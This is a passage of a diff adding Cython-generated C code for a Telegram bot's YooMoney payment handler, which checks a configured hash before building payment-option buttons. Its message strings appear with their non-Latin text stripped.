__pyx_L16_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 38, __pyx_L1_error) + + /* "handlers/payments/yoomoney_pay.py":43 + * ): + * + * expected_hash = "HASHHASHYOOKASSA" # <<<<<<<<<<<<<< + * if YOOKASSA_HASH != expected_hash: + * logger.error(" YOOKASSA_HASH. .") + */ + __Pyx_INCREF(__pyx_n_u_HASHHASHYOOKASSA); + __Pyx_GIVEREF(__pyx_n_u_HASHHASHYOOKASSA); + __pyx_cur_scope->__pyx_v_expected_hash = __pyx_n_u_HASHHASHYOOKASSA; + + /* "handlers/payments/yoomoney_pay.py":44 + * + * expected_hash = "HASHHASHYOOKASSA" + * if YOOKASSA_HASH != expected_hash: # <<<<<<<<<<<<<< + * logger.error(" YOOKASSA_HASH. .") + * await callback_query.message.answer( + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_YOOKASSA_HASH); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 44, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = (__Pyx_PyUnicode_Equals(__pyx_t_1, __pyx_cur_scope->__pyx_v_expected_hash, Py_NE)); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 44, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (__pyx_t_2) { + + /* "handlers/payments/yoomoney_pay.py":45 + * expected_hash = "HASHHASHYOOKASSA" + * if YOOKASSA_HASH != expected_hash: + * logger.error(" YOOKASSA_HASH. .") # <<<<<<<<<<<<<< + * await callback_query.message.answer( + * text=" , @solonet_sup." + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 45, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_error); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 45, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_4))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_4); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_4, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_kp_u_YOOKASSA_HASH_2}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_4, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 45, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/yoomoney_pay.py":46 + * if YOOKASSA_HASH != expected_hash: + * logger.error(" YOOKASSA_HASH. .") + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=" , @solonet_sup." + * ) + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 46, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_answer); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 46, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/yoomoney_pay.py":47 + * logger.error(" YOOKASSA_HASH. .") + * await callback_query.message.answer( + * text=" , @solonet_sup." # <<<<<<<<<<<<<< + * ) + * return + */ + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 47, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_kp_u_solonet_sup) < 0) __PYX_ERR(0, 47, __pyx_L1_error) + + /* "handlers/payments/yoomoney_pay.py":46 + * if YOOKASSA_HASH != expected_hash: + * logger.error(" YOOKASSA_HASH. .") + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=" , @solonet_sup." + * ) + */ + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 46, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L5_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 46, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 46, __pyx_L1_error) + } + } + + /* "handlers/payments/yoomoney_pay.py":49 + * text=" , @solonet_sup." + * ) + * return # <<<<<<<<<<<<<< + * + * tg_id = callback_query.message.chat.id + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; + goto __pyx_L0; + + /* "handlers/payments/yoomoney_pay.py":44 + * + * expected_hash = "HASHHASHYOOKASSA" + * if YOOKASSA_HASH != expected_hash: # <<<<<<<<<<<<<< + * logger.error(" YOOKASSA_HASH. .") + * await callback_query.message.answer( + */ + } + + /* "handlers/payments/yoomoney_pay.py":51 + * return + * + * tg_id = callback_query.message.chat.id # <<<<<<<<<<<<<< + * + * builder = InlineKeyboardBuilder() + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 51, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_chat); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 51, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_id); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 51, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_tg_id = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/yoomoney_pay.py":53 + * tg_id = callback_query.message.chat.id + * + * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< + * + * for i in range(0, len(PAYMENT_OPTIONS), 2): + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 53, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_4 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_4)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_4); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_4, NULL}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_5, 0+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 53, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_builder = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/yoomoney_pay.py":55 + * builder = InlineKeyboardBuilder() + * + * for i in range(0, len(PAYMENT_OPTIONS), 2): # <<<<<<<<<<<<<< + * if i + 1 < len(PAYMENT_OPTIONS): + * builder.row( + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_6 = PyObject_Length(__pyx_t_3); if (unlikely(__pyx_t_6 == ((Py_ssize_t)-1))) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = PyInt_FromSsize_t(__pyx_t_6); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_1 = PyTuple_New(3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_INCREF(__pyx_int_0); + __Pyx_GIVEREF(__pyx_int_0); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_int_0)) __PYX_ERR(0, 55, __pyx_L1_error); + __Pyx_GIVEREF(__pyx_t_3); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_1, 1, __pyx_t_3)) __PYX_ERR(0, 55, __pyx_L1_error); + __Pyx_INCREF(__pyx_int_2); + __Pyx_GIVEREF(__pyx_int_2); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_1, 2, __pyx_int_2)) __PYX_ERR(0, 55, __pyx_L1_error); + __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_builtin_range, __pyx_t_1, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (likely(PyList_CheckExact(__pyx_t_3)) || PyTuple_CheckExact(__pyx_t_3)) { + __pyx_t_1 = __pyx_t_3; __Pyx_INCREF(__pyx_t_1); + __pyx_t_6 = 0; + __pyx_t_7 = NULL; + } else { + __pyx_t_6 = -1; __pyx_t_1 = PyObject_GetIter(__pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_7 = __Pyx_PyObject_GetIterNextFunc(__pyx_t_1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 55, __pyx_L1_error) + } + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + for (;;) { + if (likely(!__pyx_t_7)) { + if (likely(PyList_CheckExact(__pyx_t_1))) { + { + Py_ssize_t __pyx_temp = __Pyx_PyList_GET_SIZE(__pyx_t_1); + #if !CYTHON_ASSUME_SAFE_MACROS + if (unlikely((__pyx_temp < 0))) __PYX_ERR(0, 55, __pyx_L1_error) + #endif + if (__pyx_t_6 >= __pyx_temp) break; + } + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + __pyx_t_3 = PyList_GET_ITEM(__pyx_t_1, __pyx_t_6); __Pyx_INCREF(__pyx_t_3); __pyx_t_6++; if (unlikely((0 < 0))) __PYX_ERR(0, 55, __pyx_L1_error) + #else + __pyx_t_3 = __Pyx_PySequence_ITEM(__pyx_t_1, __pyx_t_6); __pyx_t_6++; if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + #endif + } else { + { + Py_ssize_t __pyx_temp = __Pyx_PyTuple_GET_SIZE(__pyx_t_1); + #if !CYTHON_ASSUME_SAFE_MACROS + if (unlikely((__pyx_temp < 0))) __PYX_ERR(0, 55, __pyx_L1_error) + #endif + if (__pyx_t_6 >= __pyx_temp) break; + } + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + __pyx_t_3 = PyTuple_GET_ITEM(__pyx_t_1, __pyx_t_6); __Pyx_INCREF(__pyx_t_3); __pyx_t_6++; if (unlikely((0 < 0))) __PYX_ERR(0, 55, __pyx_L1_error) + #else + __pyx_t_3 = __Pyx_PySequence_ITEM(__pyx_t_1, __pyx_t_6); __pyx_t_6++; if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + #endif + } + } else { + __pyx_t_3 = __pyx_t_7(__pyx_t_1); + if (unlikely(!__pyx_t_3)) { + PyObject* exc_type = PyErr_Occurred(); + if (exc_type) { + if (likely(__Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration))) PyErr_Clear(); + else __PYX_ERR(0, 55, __pyx_L1_error) + } + break; + } + __Pyx_GOTREF(__pyx_t_3); + } + __Pyx_XGOTREF(__pyx_cur_scope->__pyx_v_i); + __Pyx_XDECREF_SET(__pyx_cur_scope->__pyx_v_i, __pyx_t_3); + __Pyx_GIVEREF(__pyx_t_3); + __pyx_t_3 = 0; + + /* "handlers/payments/yoomoney_pay.py":56 + * + * for i in range(0, len(PAYMENT_OPTIONS), 2): + * if i + 1 < len(PAYMENT_OPTIONS): # <<<<<<<<<<<<<< + * builder.row( + * InlineKeyboardButton( + */ + __pyx_t_3 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 56, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 56, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_8 = PyObject_Length(__pyx_t_4); if (unlikely(__pyx_t_8 == ((Py_ssize_t)-1))) __PYX_ERR(0, 56, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = PyInt_FromSsize_t(__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 56, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_9 = PyObject_RichCompare(__pyx_t_3, __pyx_t_4, Py_LT); __Pyx_XGOTREF(__pyx_t_9); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 56, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_2 = __Pyx_PyObject_IsTrue(__pyx_t_9); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 56, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + if (__pyx_t_2) { + + /* "handlers/payments/yoomoney_pay.py":57 + * for i in range(0, len(PAYMENT_OPTIONS), 2): + * if i + 1 < len(PAYMENT_OPTIONS): + * builder.row( # <<<<<<<<<<<<<< + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], + */ + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 57, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + + /* "handlers/payments/yoomoney_pay.py":58 + * if i + 1 < len(PAYMENT_OPTIONS): + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'yoomoney_{PAYMENT_OPTIONS[i]["callback_data"]}', + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 58, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + + /* "handlers/payments/yoomoney_pay.py":59 + * builder.row( + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], # <<<<<<<<<<<<<< + * callback_data=f'yoomoney_{PAYMENT_OPTIONS[i]["callback_data"]}', + * ), + */ + __pyx_t_10 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 59, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 59, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_12 = __Pyx_PyObject_GetItem(__pyx_t_11, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 59, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyObject_Dict_GetItem(__pyx_t_12, __pyx_n_u_text); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 59, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_text, __pyx_t_11) < 0) __PYX_ERR(0, 59, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + + /* "handlers/payments/yoomoney_pay.py":60 + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'yoomoney_{PAYMENT_OPTIONS[i]["callback_data"]}', # <<<<<<<<<<<<<< + * ), + * InlineKeyboardButton( + */ + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 60, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_12 = __Pyx_PyObject_GetItem(__pyx_t_11, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 60, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyObject_Dict_GetItem(__pyx_t_12, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 60, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + __pyx_t_12 = __Pyx_PyObject_FormatSimple(__pyx_t_11, __pyx_empty_unicode); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 60, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyUnicode_Concat(__pyx_n_u_yoomoney, __pyx_t_12); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 60, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_callback_data, __pyx_t_11) < 0) __PYX_ERR(0, 59, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + + /* "handlers/payments/yoomoney_pay.py":58 + * if i + 1 < len(PAYMENT_OPTIONS): + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'yoomoney_{PAYMENT_OPTIONS[i]["callback_data"]}', + */ + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_10); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 58, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + + /* "handlers/payments/yoomoney_pay.py":62 + * callback_data=f'yoomoney_{PAYMENT_OPTIONS[i]["callback_data"]}', + * ), + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i + 1]["text"], + * callback_data=f'yoomoney_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', + */ + __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 62, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + + /* "handlers/payments/yoomoney_pay.py":63 + * ), + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i + 1]["text"], # <<<<<<<<<<<<<< + * callback_data=f'yoomoney_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', + * ), + */ + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 63, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_GetModuleGlobalName(__pyx_t_12, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 63, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __pyx_t_13 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 63, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_14 = __Pyx_PyObject_GetItem(__pyx_t_12, __pyx_t_13); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 63, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __pyx_t_13 = __Pyx_PyObject_Dict_GetItem(__pyx_t_14, __pyx_n_u_text); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 63, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_t_13) < 0) __PYX_ERR(0, 63, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + + /* "handlers/payments/yoomoney_pay.py":64 + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i + 1]["text"], + * callback_data=f'yoomoney_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', # <<<<<<<<<<<<<< + * ), + * ) + */ + __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 64, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_14 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 64, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __pyx_t_12 = __Pyx_PyObject_GetItem(__pyx_t_13, __pyx_t_14); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 64, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + __pyx_t_14 = __Pyx_PyObject_Dict_GetItem(__pyx_t_12, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 64, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + __pyx_t_12 = __Pyx_PyObject_FormatSimple(__pyx_t_14, __pyx_empty_unicode); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 64, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + __pyx_t_14 = __Pyx_PyUnicode_Concat(__pyx_n_u_yoomoney, __pyx_t_12); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 64, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_t_14) < 0) __PYX_ERR(0, 63, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + + /* "handlers/payments/yoomoney_pay.py":62 + * callback_data=f'yoomoney_{PAYMENT_OPTIONS[i]["callback_data"]}', + * ), + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i + 1]["text"], + * callback_data=f'yoomoney_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', + */ + __pyx_t_14 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 62, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_4))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_4); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_4, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[3] = {__pyx_t_3, __pyx_t_11, __pyx_t_14}; + __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_4, __pyx_callargs+1-__pyx_t_5, 2+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 57, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + } + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + + /* "handlers/payments/yoomoney_pay.py":56 + * + * for i in range(0, len(PAYMENT_OPTIONS), 2): + * if i + 1 < len(PAYMENT_OPTIONS): # <<<<<<<<<<<<<< + * builder.row( + * InlineKeyboardButton( + */ + goto __pyx_L8; + } + + /* "handlers/payments/yoomoney_pay.py":68 + * ) + * else: + * builder.row( # <<<<<<<<<<<<<< + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], + */ + /*else*/ { + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 68, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + + /* "handlers/payments/yoomoney_pay.py":69 + * else: + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'yoomoney_{PAYMENT_OPTIONS[i]["callback_data"]}', + */ + __Pyx_GetModuleGlobalName(__pyx_t_14, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 69, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + + /* "handlers/payments/yoomoney_pay.py":70 + * builder.row( + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], # <<<<<<<<<<<<<< + * callback_data=f'yoomoney_{PAYMENT_OPTIONS[i]["callback_data"]}', + * ) + */ + __pyx_t_11 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 70, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 70, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_10 = __Pyx_PyObject_GetItem(__pyx_t_3, 